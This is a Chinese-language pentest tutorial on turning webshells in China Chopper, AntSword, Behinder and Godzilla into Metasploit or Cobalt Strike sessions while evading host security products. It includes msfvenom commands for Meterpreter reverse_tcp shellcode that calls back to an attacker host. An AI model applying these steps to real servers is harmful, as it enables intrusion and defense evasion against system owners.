前言

這篇文章我們主要介紹的是如何利用常用Webshell管理工具中的自定義代碼執行功能來上線MSF,附帶了中國蟻劍、冰蝎和哥斯拉的內存加載上線,實戰滲透中如果遇到以下場景時可嘗試文中方法繞過。

利用場景

僅支持ASP,WScript.Shell、Shell.Application組件被卸載;又或者支持ASP.NET,但是存在有某些安全防護軟件(360、云鎖、安全狗等),在這兩種場景下可能無法執行命令、上線和提權等。

注:目前國內大部分安全防護軟件都會對某些進程或進程鏈的監控較為嚴格,如果遇到這類場景時可嘗試使用以下方式來繞過,但過不了D盾,因為Hook掉了一些上線所需的API,其他防護軟件還請自測。

0x01 中國菜刀

中國菜刀中并沒有直接上線和shellcode加載功能,但是有一個自定義代碼執行,我們可以利用這個功能來獲取MSF會話。

選擇對應Webshell -> 右鍵“自寫腳本”-> 執行ASP腳本上線。

0x02 中國蟻劍

中國蟻劍和菜刀一樣,也可以利用As-Exploits后滲透插件中的執行自定義Payload功能來獲取MSF會話。

選擇對應Webshell -> As-Exploits -> 執行自定義Payload -> 執行ASP腳本上線。

如果目標主機支持ASP.NET和JSP腳本,我們也可以利用As-Exploits插件中的ShellCode加載器功能來上線CS或MSF,只需生成hex格式的shellcode即可,c、csharp的還需要做些處理。

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.120 lport=443 -f hex

注:JSP內存加載方式有兩種:JNA、Attach,JNA只需要X86的ShellCode即可,而Attach需要根據目標Java位數來選擇對應的ShellCode,更多注意事項可在As-Exploits插件中查看。

0x03 冰蝎

冰蝎不僅可以利用自定義代碼執行功能來獲取MSF會話,也可以使用反彈shell功能來獲取CS/MSF會話,但是不支持ASP腳本。

連接Webshell -> 自定義代碼 -> 執行ASP腳本上線。

利用反彈shell功能獲取會話時只需在Metasploit、CobaltStrike工具中設置好監聽,然后在冰蝎客戶端中填寫VPS監聽的公網IP地址和端口就行了,這也能用于目標不出網等場景。

注:反彈shell中的Meterpreter和Shell內置的是x86的shellcode,不可自定義shellcode,如果IIS應用池為64位時可能無法上線,更換x64的Payload也不行,但可以反彈CobaltStrike。

0x04 哥斯拉

目標僅支持ASP腳本時我們可以利用哥斯拉中的代碼執行功能來獲取MSF會話,加密器用的ASP_RAW,其他的加密器還請自測。

連接Webshell -> 代碼執行 -> 執行ASP腳本上線。

如果支持ASP.NET腳本時我們也可以利用內存加載中的ShellcodeLoader、Meterpreter來獲取會話,哥斯拉會根據IIS應用池位數來加載對應的shellcode,不會出現x64上線不了等情況。

利用ShellcodeLoader獲取會話時需要先生成一個C的shellcode,將\x"及多余字符都刪掉,只需留下hex shellcode即可,然后再依次點擊load加載和run運行就能獲取到會話。

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.120 lport=443 -f c

注:ShellcodeLoader、Meterpreter都是在w3wp.exe進程下重新創建一個新的rundll32.exe,所以這過不了安全狗“禁止IIS執行程序”,提示Cannot create process errcode:5

0x05 文末小結

本文介紹了4個常用Webshell管理工具的上線方式,都是注入到進程內存中去執行的,1種是注入到w3wp.exe進程;另1種是注入到指定進程,但是是由w3wp.exe創建的子進程,如果防護軟件對w3wp.exe進程監控較為嚴格時則可能無法利用,如安全狗“禁止IIS執行程序”、云鎖“操作系統加固”等防護功能。